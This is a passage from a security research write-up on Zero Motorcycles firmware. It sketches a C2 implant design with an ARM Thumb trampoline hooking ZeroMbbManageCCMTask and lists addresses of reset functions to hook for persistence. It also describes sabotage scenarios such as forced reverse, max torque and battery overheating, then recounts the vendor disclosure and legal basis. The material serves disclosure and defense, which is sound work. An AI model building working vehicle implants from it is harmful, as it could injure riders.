Finally, the piΓ¨ce de rΓ©sistance, and also the only one we didn’t actually build a full implementation for (just 500 lines of pseudocode – The rest is left as an exercise for the reader). Because we can sign arbitrary firmware, upload it using our Frida script, and because the XMC4500 and XMC4800 have significantly more memory than is being used by the firmware, it’s entirely possible to add malware to the binaries to implant a C2 beacon into any Zero motorcycle.
The firmware as it currently exists does not even come close to using up all the available space on the XMC4500/4800, and there are multiple code caves large enough to easily fit malicious code. The firmware only fills up through Sector S8, with Sector S9 partially filled, leaving 48 KB of empty space in S9 and S10-S15 completely empty, for another 576 KB of space.7 The XMC4800 has an additional 1 MB extended flash after Sector S15.
Memory block analysis of the XMC4500/4800
Into one (or both) of those empty sectors, we can place our malicious code, with a trampoline implanted into legitimate code to execute our implant whenever the legitimate function is called. An ideal location would be in ZeroMbbManageCCMTask, at 0x0803e08e. This function is called periodically by the RTOS task scheduler, already handles cellular communication and has access to GPS data structures, and is a non-safety-critical entry point so if we accidentally fuck it up, the bike won’t explode.
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
; C2 IMPLANT TRAMPOLINE - Zero Motorcycles MBB
; Location: 0x08064000 (unused flash sector)
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.syntax unified
.thumb
.section .text
.global implant_trampoline
.align 2
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
; TRAMPOLINE ENTRY POINT
; Called when hooked function (ZeroMbbManageCCMTask) is invoked
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
implant_trampoline:
; Save scratch registers (R0-R3 may contain function arguments)
PUSH {R0-R3, LR} ; 0xB50F - 16-bit encoding
; Call the C2 implant main function
LDR R0, =C2_Implant_Main ; Load implant function address
BLX R0 ; Call implant
; Restore scratch registers
POP {R0-R3, LR} ; 0xBD0F - 16-bit encoding
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
; Execute the displaced instruction that was overwritten by our hook
; Original: PUSH.W {R1-R11, LR} @ 0x0803e462 (BOM 13)
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PUSH.W {R1-R11, LR} ; 0xE92D 0x4FFE - Original instruction
; Jump back to the original function (instruction after patch)
LDR.W PC, [PC, #0] ; 0xDFF8 0x00F0
.word 0x0803e467 ; Return to 0x0803e466 + 1 (Thumb) [BOM 13]
.align 4
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
; C2 IMPLANT MAIN FUNCTION
; Executes C2 logic during each CCM task invocation
; βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
C2_Implant_Main:
PUSH {R4-R7, LR}
; ... C2 implant logic here ...
POP {R4-R7, PC}
.endWe save the scratch registers, then jump to the address of our malicious implant and execute it. When execution finishes, we simply restore the saved registers and jump back into the original function like nothing happened.
Worst Case Scenarios
But, as my boss asked when we first gave this presentation: Why do all this work? How is writing malware for a motorcycle better or different from cutting the brakelines?

Hacking or replacing the firmware offers three main advantages: Stealth, Resilliance to repair, and Controllability.
Stealth, because unlike cutting the brakelines, it’s not visible to the naked eye, and not necessarily something a mechanic or technician would even think to check. At best, they might recognize it as “something to do with the firmware” and try resetting the bike to factory conditions or re-installing updated firmware. But remember, we own the bike’s entire operating system at this point. This is advantage 2: Resilliance to repair. In another security blunder, the “restore to factory defaults” logic is entirely firmware-controlled. A sufficiently-sophisticated malware would prevent its own removal by hooking the functions in charge of the reset, preventing EEPROM writes while displaying the expected "System settings have been restored to defaults\n" message to the user. Because the (OTA-distributed) firmware controls its own updates, it could institute logic to intercept attempted firmware updates and reinfect them. The only mediation (besides implementing secure boot at a hardware level) would be to physically replace the ECU, or access the ECU’s direct hardware debug interface over JTAG/SWD and reflash from there.
| Function | Address | Purpose |
|---|---|---|
| ZeroSettingsResetValuesToDefaults | 0x08059264 | Master settings reset |
| ZeroMbbCanopenStatsResetValuesToDefaults | 0x0803217e | Stats reset via CANopen |
| ZeroMbbCanopenMfgResetValuesToDefaults | 0x0803180c | Manufacturing reset |
| ZeroMbbResetAllRidingModesToFactory | 0x0805190c | Riding mode reset |
| ZeroSettingsSetDefaultStructure | 0x08059364 | Load default values |
Finally, Controllability: because we can control the commands sent to the bike’s builtin Telit HE910 cellular modem, a C2 implant can send and receive data over 4G LTE, allowing implant actions to be controlled remotely. This differs from a physical “cutting the brakelines” approach because a cut brakeline cannot be un-cut on command until the perfect moment – it’s a one-and-done.
A C2 for your Motorcycle
With that, our C2. We pseudocoded out a framework that, as described above, hooks into ZeroMbbManageCCMTask and jumps to an unused sector of memory, where the main implant resides. From there, it hooks several safety-critical functions, including ZeroMbbManageTorque and ZeroMbbControllerSetReverse, along with ZeroMbbCCMGetLatLon and ZeroMbbManageCCMTask, which control getting GPS coordinates from and sending commands to the cellular modem. It then sends out a beacon to its controller over 4G LTE containing information on the bike like its GPS location, speed, state of charge, etc. and listens for a response back.
The attack flow of the imagined malware
On command, the implant could:
- Apply max regenerative breaking and/or send the bike instantaneously into reverse, potentially throwing the rider.
- Apply max torque at low speeds, potentially causing a wheelie, also throwing the rider.
- Open the contactors (heavy-duty electromagnetic switches that safely connect or disconnect the high-current battery from the motorcycle’s electrical system), cutting power to the motors and stranding the rider.
It’s not inconceivable that it could even hook the bike’s own BLE capability to propagate itself to other nearby bikes, using similar logic to our Frida script. Unfortunately, this requires the ability to send data over the bike’s BLE modem, which is mediated by the Dashboard ECU’s firmware, which we don’t have. At present, as designed, the MBB only has the ability to receive data from the dash’s BLE modem via CANopen messages from the dash, not send.
We estimate that a functional C2 implant could be implemented in at most 20 KB (Stuxnet, which was considered huge for a worm, was only about 500 KB, which could still fit snuggly into the empty sectors S10-S15 of the XMC4500).
Stuxnet for your Motorcycle
Speaking of Stuxnet, the CAN bus firmware installation route still looms large. While only the BMS and BMU are updatable over CAN (i.e., not the MBB), those ECUs still contain more than enough functionality for such a vulnerability to be dangerous. Stuxnet famously affected the rotational speed of gas centrifuges, while disabling the functions monitoring the centrifuges for unusual behavior and reporting normal operation to users. Similarly, the primary danger of the CAN bus attack comes from its ability to change safety margins while reporting normal behavior to the user.
By modifying zero_bms_fault.c and zero_bms_thermistor.c, an attacker could raise the battery thermal shutoff threshold and disable thermal derating during charging, causing the battery to continue charging at max rate regardless of overheating, potentially leading to a battery fire during overnight charging.
By modifying zero_bms_manage_pack.c, an attacker could report full charge while suppressing low-battery warnings, before opening the contactor suddenly when the battery is completely drained, leading to an unexpected loss of power while riding.
And by modifying the state machine in zero_bms_system.c, an attacker could skip capacitor precharging, close the main contactor, and jump directly to ZERO_BMS_STATE_OPERATIONAL. The empty capacitor would work as a shorted circuit, potentially causing an arc flash and welding the contactor shut.
Disclosure Attempts and the Law
Disclosure Attempts
On January 28th and February 9th, 2025, Mitchell attempted to reach out to Zero Motorcycles via emails to their “inquiries” and “support” emails, receiving no response. Additionally, on March 4th, he called their customer support line and the call was eventually routed to the human resources voicemail. He never received a call back.
On March 28th, we roped in one of our Business Development Representatives (sales leads) at Bureau Veritas to continue attempting to reach out. He emailed, called, and sent LinkedIn messages to:
- Ajay Kumar, the CIO
- Abe Askenazi, the CTO
- Randall Williams, the Head Of Information Technology
- Ben Merlin, Sr IT Project Mgr & Solution Architect
He received no response either.
On April 21st, May 7th, and May 12th, he again attempted to contact the same individuals. No response.
Under accepted industry disclosure frameworks, the disclosure clock starts from the initial contact attempt, not from vendor acknowledgment. CISA recommends vendors acknowledge reports within 3 business days; CERT/CC and CISA policies treat vendors as “non-responsive” after approximately 15-45 days without acknowledgment and may proceed with disclosure regardless of vendor participation.
Bureau Veritas has done Zero Motorcycles the courtesy of not publishing this research for over a year, far beyond the 45-90 day accepted window. Additionally, our talk at BSides Seattle had the company name anonymized. This concludes our obligations to silence under any reasonable interpretation of the law and industry standard practice.
Disclosure Success!
On Tuesday, March 17, 2026 at 2 am, 13 months 20 days after our first attempt at disclosure, and 55 days after CERT/CC first attempted to reach out to them, Zero responded to CERT/CC, stating that they had
“…taken the following concrete actions:
- The FOTA server has been taken offline.
- Sequential BOM-based firmware access has been disabled.
- ECDSA asymmetric firmware signing has a working proof of concept and is in active testing.
We acknowledge the mobile app vulnerabilities identified in your report, and are actively researching solutions.”
I can confirm that the FOTA server no longer responds to curl requests. I have asked for a copy of the updated firmware, but received no response.
Legal
This publication is the result of good-faith security research conducted in accordance with established coordinated vulnerability disclosure practices and applicable legal frameworks.
Legal Protections
This research and publication are protected under:
- Van Buren v. United States (2021), in which the Supreme Court narrowed the Computer Fraud and Abuse Act’s scope to exclude good-faith security research on systems to which researchers have legitimate access
- The Department of Justice’s May 2022 charging policy, which explicitly directs federal prosecutors not to charge security research conducted in good faith and designed to avoid harm
- DMCA Section 1201 exemptions for security research on motor vehicles (renewed October 2024, effective through October 2027), which permit circumvention of technological protection measures for good-faith security testing
Scope of Publication
Consistent with responsible disclosure principles, this post describes the vulnerabilities in sufficient detail for defensive purposes and to inform affected users, while not providing complete exploitation tools or code. Our objective is to promote the security and safety of Zero Motorcycles riders and the broader public.
We conducted this research on lawfully acquired devices, documented our methodology throughout, and took care to avoid any harm to individuals, systems, or data beyond what was necessary for proof-of-concept validation.
βThe Worldβs First Connected Motorcycle.β Starcont, starcont.pl/pdf/The-Worlds-First-Connected-Motorcycle.pdf. Accessed 20 Jan. 2026. ↩︎
Jegham, Nidhal, et al. βHow Hungry Is AI? Benchmarking Energy, Water, and Carbon Footprint of LLM Inference.β ArXiv.org, 14 May 2025, arxiv.org/abs/2505.09598v1. Accessed 17 Jan. 2026. ↩︎
The bike treats the BMS and BMU as essentially the same. ↩︎
Nsour, A., Ganesan, S. Enhanced modified SecOC protocol for secure automotive networks a comprehensive cryptographic framework. Discov Computing 28, 155 (2025). https://doi.org/10.1007/s10791-025-09674-3 ↩︎
Shipman, Maggie, et al. βZero-Trust Architecture for Automotive Networks, 10-R6352 | Southwest Research Institute.β Southwest Research Instute, 2024, www.swri.org/what-we-do/internal-research-development/2024/automotive-transportation/zero-trust-architecture-automotive-networks-10-r6352. Accessed 19 Jan. 2026. ↩︎
βEmSecure-ECDSA: Digital Signatures.β Segger.com, 2026, www.segger.com/products/security-iot/emsecure/variations/emsecure-ecdsa/. Accessed 19 Jan. 2026. ↩︎
XMC4500 Microcontroller Series for Industrial Applications Reference Manual. V1.6 2016-07, Munich, Germany, Infineon Technologies AG, July 2016, www.infineon.com/assets/row/public/documents/30/44/infineon-xmc4500-rm-v1.6-2016-um-en.pdf. Accessed 12 Jan. 2026. ↩︎